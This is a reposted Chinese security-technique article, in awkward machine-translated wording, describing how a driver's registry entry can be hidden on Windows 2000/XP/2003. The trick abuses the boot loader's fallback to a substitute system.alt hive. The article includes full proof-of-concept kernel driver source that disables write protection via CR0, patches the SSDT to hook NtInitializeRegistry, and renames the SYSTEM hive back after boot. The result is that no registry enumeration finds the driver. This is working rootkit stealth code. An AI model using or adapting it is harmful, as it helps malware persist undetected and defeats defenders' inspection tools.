当前位置:七道奇文章资讯安全技术网络技术
日期:2009-06-05 16:34:00  来源:本站整理

绕过全部的注册表查抄躲藏驱动注册表[网络技术]

赞助商链接



  本文“绕过全部的注册表查抄躲藏驱动注册表[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

作者:mj0011

几个月前,我曾在某些帖子评论过这个技术

目前六一节到了,为了满意广大饥渴的小朋友们,特此放出

=====================================================

Mark在hack58.net/" target=_blank>Windows Internals 4th(p 210)中提到过,WIN2000下,为了保持系统HIVE的完好性,系统在革新SYSTEM HIVE的同时,会革新一个名为"替补储巢"的hive :System.alt

当系统储巢System已经破坏,无法加载时,就会挑选这个替补储巢system.alt来加载.这是由于win2000的ntldr不知道若何利用储巢日记文件(system.log)来举行储巢修复招致的,Mark称hack58.net/" target=_blank>windows XP今后的系统已经丢弃了这一机制

但事实若何呢?首先我们来看一下某份NT4的代码:

下面这个函数是BootLoader(ntldr)用来加载系统HIVE的函数:

ARC_STATUS
BlLoadAndScanSystemHive(
IN ULONG DeviceId,
IN PCHAR DeviceName,
IN PCHAR DirectoryPath,
IN PWSTR BootFileSystem,
OUT PCHAR BadFileName
)
...................
省略无关部份
.....................

strcpy(Directory,DirectoryPath);
strcat(Directory,"\\system32\\config\\");
Status = BlLoadAndInitSystemHive(DeviceId,
DeviceName,
Directory,
"system",
FALSE,
&RestartSetup);

if(Status != ESUCCESS) {
//
// bogus hive, try system.alt
//
Status = BlLoadAndInitSystemHive(DeviceId,
DeviceName,
Directory,
"system.alt",
TRUE,
&RestartSetup);
if(Status != ESUCCESS) {
strcpy(BadFileName,DirectoryPath);
strcat(BadFileName,"\\SYSTEM32\\CONFIG\\SYSTEM");
goto HiveScanFailed;
}
}

可以看到,系统首先会尝试加载system hive,当systemroot\system32\config下的SYSTEM HIVE不存在或呈现弊端,则会尝试加载systemroot\system32\config下的system.alt HIVE

事实上,这部份代码一向保存在hack58.net/" target=_blank>WINDOWS XP和hack58.net/" target=_blank>WINDOWS 2003中,直到VISTA中才去撤除,VISTA系统中已更改成仅加载SYSTEM储巢,假如SYSTEM储巢加载失利,直接回绝持续启动.

但是,这里只是NTLDR加载的储巢,这些储巢在系统启动后会被丢弃(保存在BootLoaderBlock中)

SMSS将调用SSDT中的NtInitializeRegistry函数,通过 CmpCmdInit->CmpInitializeHiveList,通过CmpLoadHiveThread系统线程为 CmpMachineHiveList中的每个系统储巢做加载和初始化工作

这里系统只辨认\SystemRoot\System32\Config\System储巢,假如无法加载这个储巢,系统将调用KeBugCheckEx使系统蓝屏,蓝屏代码为STATUS_CANNOT_LOAD_REGISTRY_FILE

有了上面的知识,我们很简单便可知道若何躲藏一个注册表了:

只要我们将当前SYSTEM储巢删除大概使其无法精确辨认,然后在config目录下保存包含了我们的驱动服务项的SYSTEM.ALT储巢,此时重启系统,NTLDR会利用我们的SYETEM.ALT储巢,于是会加载我们的驱动程序

我们在驱动中,HOOK NtInitializeRegistry函数,等候NT内核再次初始化系统储巢,等到后,我们将SYSTEM储巢恢复(move file / fix file /redir file...),此时系统就可以正常指导了

但是此时系统加载的是不包含我们的驱动服务项的储巢,所以任何操纵正常、非正常列举伎俩举行的检测,都检测不到我们的驱动注册表.无论是复原nt*key函数举行列举,还是利用cm*key举行列举,还是利用所谓的Hive解析技术举行列举.

下面是一个这个驱动的小POC,代码以下:

#include "ntddk.h"
#include "ntifs_48.h"
#include "zwfunc.h"
#include "stdafx.h"

#define MYDEBUG 1

#if MYDEBUG

#define KDMSG(_x_) DbgPrint _x_

#else

#define KDMSG(_x_)

#endif
ULONG OldNtInitializeRegistry =0;
BOOL SystemHiveIsBuild = FALSE ;
const WCHAR RealSystemHiveLocation[] = L"\\SystemRoot\\System32\\Config\\SYSTEM";
NTSTATUS NewNtInitializeRegistry(USHORT BootCondition)
{
NTSTATUS stat ;
HANDLE hfile ;
IO_STATUS_BLOCK iosb ;
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING FileName ;
UNICODE_STRING SystemSave ;

KDMSG(("NtInitializeRegistry is call!"));

if (SystemHiveIsBuild == FALSE)
{
RtlInitUnicodeString(&FileName , RealSystemHiveLocation);

InitializeObjectAttributes(&oba , &FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );
stat = IoCreateFile(&hfile ,
FILE_ALL_ACCESS ,
&oba ,
&iosb,
NULL,
FILE_ATTRIBUTE_NORMAL ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
FILE_OPEN ,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
NULL,
0,
CreateFileTypeNone ,
0,
IO_NO_PARAMETER_CHECKING);

KDMSG(("open config\\system return %08x\n",stat));

if (!NT_SUCCESS(stat))
{
if (stat != STATUS_OBJECT_NAME_NOT_FOUND && stat != STATUS_OBJECT_PATH_NOT_FOUND)
{
goto end ;
}
}
else
{
ZwClose(hfile);
goto end ;
}

//now system hive is not found

//move file
{
PFILE_RENAME_INFORMATION renameinfo ;

renameinfo = (PFILE_RENAME_INFORMATION)ExAllocatePool(NonPagedPool , sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR));

renameinfo->FileNameLength = sizeof(RealSystemHiveLocation) - sizeof(WCHAR);
renameinfo->ReplaceIfExists = TRUE ;
renameinfo->RootDirectory = 0 ;
RtlCopyMemory((PVOID)renameinfo->FileName, (PVOID)RealSystemHiveLocation , sizeof(RealSystemHiveLocation));

RtlInitUnicodeString(&FileName , L"\\SystemRoot\\System32\\SYSTEM");

InitializeObjectAttributes(&oba , &FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );

stat = IoCreateFile(&hfile ,
FILE_ALL_ACCESS ,
&oba ,
&iosb,
NULL,
FILE_ATTRIBUTE_NORMAL ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
NULL,
0,
CreateFileTypeNone ,
0,
IO_NO_PARAMETER_CHECKING);

KDMSG(("open system\\system return %08x\n" , stat));

if (!NT_SUCCESS(stat))
{
ExFreePool(renameinfo);
goto end ;
}

stat = ZwSetInformationFile(hfile ,
&iosb ,
renameinfo ,
sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR) ,
FileRenameInformation);

KDMSG(("rename file return %08x\n" , stat));

ZwClose(hfile);

SystemHiveIsBuild = TRUE ;
}

}

end:
__asm
{
movzx eax , BootCondition
push eax
call OldNtInitializeRegistry
mov     stat ,eax
}

return stat ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT Drvobj , PUNICODE_STRING RegistryPath)
{
ULONG OldCr0 ;
//drv load, hook NtInitializeRegistry

//IN hack58.net/" target=_blank>WINDOWS XP , index of ZwInitializeRegistry is 0x5c

__asm{
push eax
push ebx
cli

mov eax , cr0

mov OldCr0 , eax

and eax , 0xFFFEFFFF

mov cr0 , eax

mov eax ,dword ptr[KeServiceDescriptorTable]

mov eax , dword ptr[eax]
//get service base

mov ebx , dword ptr[eax + 0x5c * 4]

mov OldNtInitializeRegistry , ebx

mov ebx , NewNtInitializeRegistry

mov dword ptr[eax + 0x5c * 4] , ebx

mov eax , OldCr0

mov cr0 , eax

sti

pop ebx

pop eax

}

return STATUS_SUCCESS ;
}
别的,如前面所说,这个技术是无法用于hack58.net/" target=_blank>WINDOWS VISTA / 7的,VISTA的WINLOAD.EXE中已经去掉了这种机制
当然,这只是一个本领,但是反映了一些思惟:

1.所谓绕过查抄,就是要让系统在某一时刻认为你是存在的,而某一时刻认为你是不存在的,操纵信息的不对称来使查抄失效

2.NTLDR和NTOSKRNL之间,也算是一种信息不对称,比方TOPHET,比方本篇这个本领,都是操纵NTLDR中贫乏某种机制,而 NTOSKRNL中存在这种机制,由于NTLDR贫乏这种机制(比方TOPHET中,拜候SCSI驱动器的机制),那么自然给了攻击者可趁之机

当然,微软在VISTA中大大补偿了这些不对称,但是不可思议,还是有更多的未知等着大家去摸索.


  以上是“绕过全部的注册表查抄躲藏驱动注册表[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 绕过全部的注册表查抄躲藏驱动注册表
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .